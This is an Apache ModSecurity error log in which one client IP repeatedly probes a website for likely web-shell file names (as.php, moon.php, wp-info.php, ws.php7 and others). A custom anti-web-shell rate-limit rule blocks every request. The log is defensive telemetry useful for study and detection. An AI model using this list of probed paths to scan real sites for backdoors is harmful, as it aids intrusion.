[Thu Dec 18 21:57:50.514218 2025] [:error] [pid 12383:tid 12408] [client 4.190.217.214:9197] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aUQIXvdgllo9h1cyxGbPNQAAAtY"]
[Thu Dec 18 21:57:50.890217 2025] [:error] [pid 25357:tid 25366] [client 4.190.217.214:9166] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aUQIXoaT7bsEXnJVfJd1lQAAAcc"]
[Thu Dec 18 21:57:52.060039 2025] [:error] [pid 23558:tid 23620] [client 4.190.217.214:13309] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aUQIYOHam9NbgPQa9uYxWgAAAMU"]
[Thu Dec 18 21:57:52.737164 2025] [:error] [pid 12035:tid 12052] [client 4.190.217.214:9207] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aUQIYLcVHrNSHjCo-0qgjwAAAgo"]
[Thu Dec 18 21:57:53.147308 2025] [:error] [pid 12035:tid 12051] [client 4.190.217.214:13217] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aUQIYbcVHrNSHjCo-0qgkgAAAgk"]
[Thu Dec 18 21:57:53.594529 2025] [:error] [pid 12383:tid 12390] [client 4.190.217.214:13238] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aUQIYfdgllo9h1cyxGbPOQAAAsQ"]
[Thu Dec 18 21:57:54.029091 2025] [:error] [pid 23558:tid 23635] [client 4.190.217.214:9172] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aUQIYuHam9NbgPQa9uYxXwAAANQ"]
[Thu Dec 18 21:57:54.446465 2025] [:error] [pid 24958:tid 24970] [client 4.190.217.214:13286] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aUQIYskDOrUkd0wNm2HVtAAAAYk"]
[Thu Dec 18 21:57:54.760018 2025] [:error] [pid 25357:tid 25365] [client 4.190.217.214:9091] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aUQIYoaT7bsEXnJVfJd1oAAAAcY"]
[Thu Dec 18 21:57:55.054280 2025] [:error] [pid 25357:tid 25369] [client 4.190.217.214:9096] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aUQIY4aT7bsEXnJVfJd1oQAAAco"]
[Thu Dec 18 21:57:55.419654 2025] [:error] [pid 25357:tid 25375] [client 4.190.217.214:13296] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aUQIY4aT7bsEXnJVfJd1owAAAdA"]
[Thu Dec 18 21:57:55.693280 2025] [:error] [pid 12239:tid 12263] [client 4.190.217.214:9107] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aUQIY9NnXxfGIuWO6akmxQAAApM"]
[Thu Dec 18 21:57:55.959613 2025] [:error] [pid 25357:tid 25363] [client 4.190.217.214:9199] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aUQIY4aT7bsEXnJVfJd1pQAAAcQ"]
[Thu Dec 18 21:57:56.457506 2025] [:error] [pid 12239:tid 12249] [client 4.190.217.214:9094] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aUQIZNNnXxfGIuWO6akmyAAAAoU"]
[Thu Dec 18 21:57:56.787041 2025] [:error] [pid 12383:tid 12399] [client 4.190.217.214:9111] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/makeasmtp.php"] [unique_id "aUQIZPdgllo9h1cyxGbPPwAAAs0"]
[Thu Dec 18 21:58:02.423600 2025] [:error] [pid 23558:tid 23627] [client 4.190.217.214:9201] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aUQIauHam9NbgPQa9uYxgwAAAMw"]
[Thu Dec 18 21:58:02.702263 2025] [:error] [pid 24958:tid 24971] [client 4.190.217.214:13224] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aUQIaskDOrUkd0wNm2HVzQAAAYo"]
[Thu Dec 18 21:58:03.026828 2025] [:error] [pid 24433:tid 24454] [client 4.190.217.214:13201] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aUQIa54pN9ycmipm8TjjOwAAARI"]
[Thu Dec 18 21:58:03.472007 2025] [:error] [pid 12239:tid 12267] [client 4.190.217.214:9092] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aUQIa9NnXxfGIuWO6akm5AAAApc"]
[Thu Dec 18 21:58:03.799982 2025] [:error] [pid 12035:tid 12046] [client 4.190.217.214:9191] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aUQIa7cVHrNSHjCo-0qgmQAAAgQ"]
[Thu Dec 18 21:58:04.187841 2025] [:error] [pid 24958:tid 24964] [client 4.190.217.214:9152] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aUQIbMkDOrUkd0wNm2HV0QAAAYM"]
[Thu Dec 18 21:58:04.818719 2025] [:error] [pid 12035:tid 12048] [client 4.190.217.214:9045] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aUQIbLcVHrNSHjCo-0qgnQAAAgY"]
[Thu Dec 18 21:58:05.566403 2025] [:error] [pid 23558:tid 23639] [client 4.190.217.214:9200] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-info.php"] [unique_id "aUQIbeHam9NbgPQa9uYxhwAAANg"]
[Thu Dec 18 21:58:06.293804 2025] [:error] [pid 24433:tid 24455] [client 4.190.217.214:9156] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/warm.PhP7"] [unique_id "aUQIbp4pN9ycmipm8TjjSQAAARM"]
[Thu Dec 18 21:58:07.542261 2025] [:error] [pid 12383:tid 12399] [client 4.190.217.214:9120] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/warm.PhP7"] [unique_id "aUQIb_dgllo9h1cyxGbPTgAAAs0"]
[Thu Dec 18 21:58:08.180022 2025] [:error] [pid 24542:tid 24548] [client 4.190.217.214:9108] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/warm.PhP7"] [unique_id "aUQIcEtQz4H2oS3NrDYrOQAAAUQ"]
[Thu Dec 18 21:58:09.124502 2025] [:error] [pid 24433:tid 24448] [client 4.190.217.214:9215] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/warm.PhP7"] [unique_id "aUQIcZ4pN9ycmipm8TjjSwAAAQw"]
[Thu Dec 18 21:58:09.570734 2025] [:error] [pid 23558:tid 23631] [client 4.190.217.214:9141] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php7"] [unique_id "aUQIceHam9NbgPQa9uYxiwAAANA"]
[Thu Dec 18 21:58:09.893113 2025] [:error] [pid 23556:tid 23571] [client 4.190.217.214:9168] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php7"] [unique_id "aUQIcRnmLlk3u5yt9kHzgQAAAAs"]
[Thu Dec 18 21:58:10.288841 2025] [:error] [pid 23556:tid 23577] [client 4.190.217.214:9099] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php7"] [unique_id "aUQIchnmLlk3u5yt9kHzggAAABE"]
[Thu Dec 18 21:58:10.829176 2025] [:error] [pid 24958:tid 24969] [client 4.190.217.214:13256] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws.php7"] [unique_id "aUQIcskDOrUkd0wNm2HV3AAAAYg"]
[Thu Dec 18 21:58:11.532200 2025] [:error] [pid 12239:tid 12262] [client 4.190.217.214:13190] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rss.php"] [unique_id "aUQIc9NnXxfGIuWO6akm_gAAApI"]
[Thu Dec 18 21:58:12.214678 2025] [:error] [pid 24958:tid 24974] [client 4.190.217.214:9098] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rss.php"] [unique_id "aUQIdMkDOrUkd0wNm2HV4AAAAY0"]
[Thu Dec 18 21:58:12.785708 2025] [:error] [pid 23645:tid 23655] [client 4.190.217.214:13236] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rss.php"] [unique_id "aUQIdDf_Rx0Y0ao_QJhnqgAAAIg"]
[Thu Dec 18 21:58:13.135137 2025] [:error] [pid 23645:tid 23667] [client 4.190.217.214:9212] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rss.php"] [unique_id "aUQIdTf_Rx0Y0ao_QJhnqwAAAJQ"]
[Thu Dec 18 21:58:13.540920 2025] [:error] [pid 12035:tid 12052] [client 4.190.217.214:9157] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pekok.php"] [unique_id "aUQIdbcVHrNSHjCo-0qgqQAAAgo"]
[Thu Dec 18 21:58:13.820166 2025] [:error] [pid 23645:tid 23660] [client 4.190.217.214:13200] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pekok.php"] [unique_id "aUQIdTf_Rx0Y0ao_QJhnrQAAAI0"]
[Thu Dec 18 21:58:14.223104 2025] [:error] [pid 23645:tid 23671] [client 4.190.217.214:9175] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pekok.php"] [unique_id "aUQIdjf_Rx0Y0ao_QJhnrgAAAJg"]
[Thu Dec 18 21:58:14.600071 2025] [:error] [pid 23645:tid 23647] [client 4.190.217.214:9174] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pekok.php"] [unique_id "aUQIdjf_Rx0Y0ao_QJhnsAAAAIA"]
[Thu Dec 18 21:58:14.934691 2025] [:error] [pid 12239:tid 12267] [client 4.190.217.214:9158] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aUQIdtNnXxfGIuWO6aknCQAAApc"]
[Thu Dec 18 21:58:15.368122 2025] [:error] [pid 23645:tid 23666] [client 4.190.217.214:9163] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aUQIdzf_Rx0Y0ao_QJhnsgAAAJM"]
[Thu Dec 18 21:58:16.428801 2025] [:error] [pid 23645:tid 23662] [client 4.190.217.214:9210] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aUQIeDf_Rx0Y0ao_QJhntAAAAI8"]
[Thu Dec 18 21:58:16.835607 2025] [:error] [pid 23645:tid 23649] [client 4.190.217.214:13267] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aUQIeDf_Rx0Y0ao_QJhntQAAAII"]
[Thu Dec 18 21:58:17.228545 2025] [:error] [pid 25357:tid 25360] [client 4.190.217.214:9154] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aa.php"] [unique_id "aUQIeYaT7bsEXnJVfJd1vAAAAcE"]
[Thu Dec 18 21:58:17.680710 2025] [:error] [pid 24542:tid 24567] [client 4.190.217.214:9125] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aa.php"] [unique_id "aUQIeUtQz4H2oS3NrDYrRAAAAVc"]
[Thu Dec 18 21:58:18.047625 2025] [:error] [pid 23645:tid 23667] [client 4.190.217.214:9026] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aa.php"] [unique_id "aUQIejf_Rx0Y0ao_QJhnugAAAJQ"]
[Thu Dec 18 21:58:18.632913 2025] [:error] [pid 23556:tid 23570] [client 4.190.217.214:13221] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aa.php"] [unique_id "aUQIehnmLlk3u5yt9kHzigAAAAo"]
[Thu Dec 18 21:58:19.089084 2025] [:error] [pid 24542:tid 24566] [client 4.190.217.214:13248] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cart.php"] [unique_id "aUQIe0tQz4H2oS3NrDYrRwAAAVY"]
[Thu Dec 18 21:58:19.805165 2025] [:error] [pid 25357:tid 25361] [client 4.190.217.214:9121] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cart.php"] [unique_id "aUQIe4aT7bsEXnJVfJd1wAAAAcI"]
[Thu Dec 18 21:58:20.086369 2025] [:error] [pid 12035:tid 12046] [client 4.190.217.214:13243] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cart.php"] [unique_id "aUQIfLcVHrNSHjCo-0qgswAAAgQ"]
[Thu Dec 18 21:58:20.602538 2025] [:error] [pid 12239:tid 12265] [client 4.190.217.214:13278] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cart.php"] [unique_id "aUQIfNNnXxfGIuWO6aknFAAAApU"]
[Thu Dec 18 21:58:20.978539 2025] [:error] [pid 12239:tid 12250] [client 4.190.217.214:13232] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/compare.php"] [unique_id "aUQIfNNnXxfGIuWO6aknFwAAAoY"]
[Thu Dec 18 21:58:21.380579 2025] [:error] [pid 12035:tid 12054] [client 4.190.217.214:13247] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/compare.php"] [unique_id "aUQIfbcVHrNSHjCo-0qgtgAAAgs"]
[Thu Dec 18 21:58:22.155397 2025] [:error] [pid 25357:tid 25381] [client 4.190.217.214:9178] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/compare.php"] [unique_id "aUQIfoaT7bsEXnJVfJd1xwAAAdY"]
[Thu Dec 18 21:58:22.626615 2025] [:error] [pid 23645:tid 23658] [client 4.190.217.214:13227] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/compare.php"] [unique_id "aUQIfjf_Rx0Y0ao_QJhn0AAAAIs"]
[Thu Dec 18 21:58:23.066160 2025] [:error] [pid 23558:tid 23623] [client 4.190.217.214:9095] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop.php"] [unique_id "aUQIf-Ham9NbgPQa9uYxngAAAMg"]
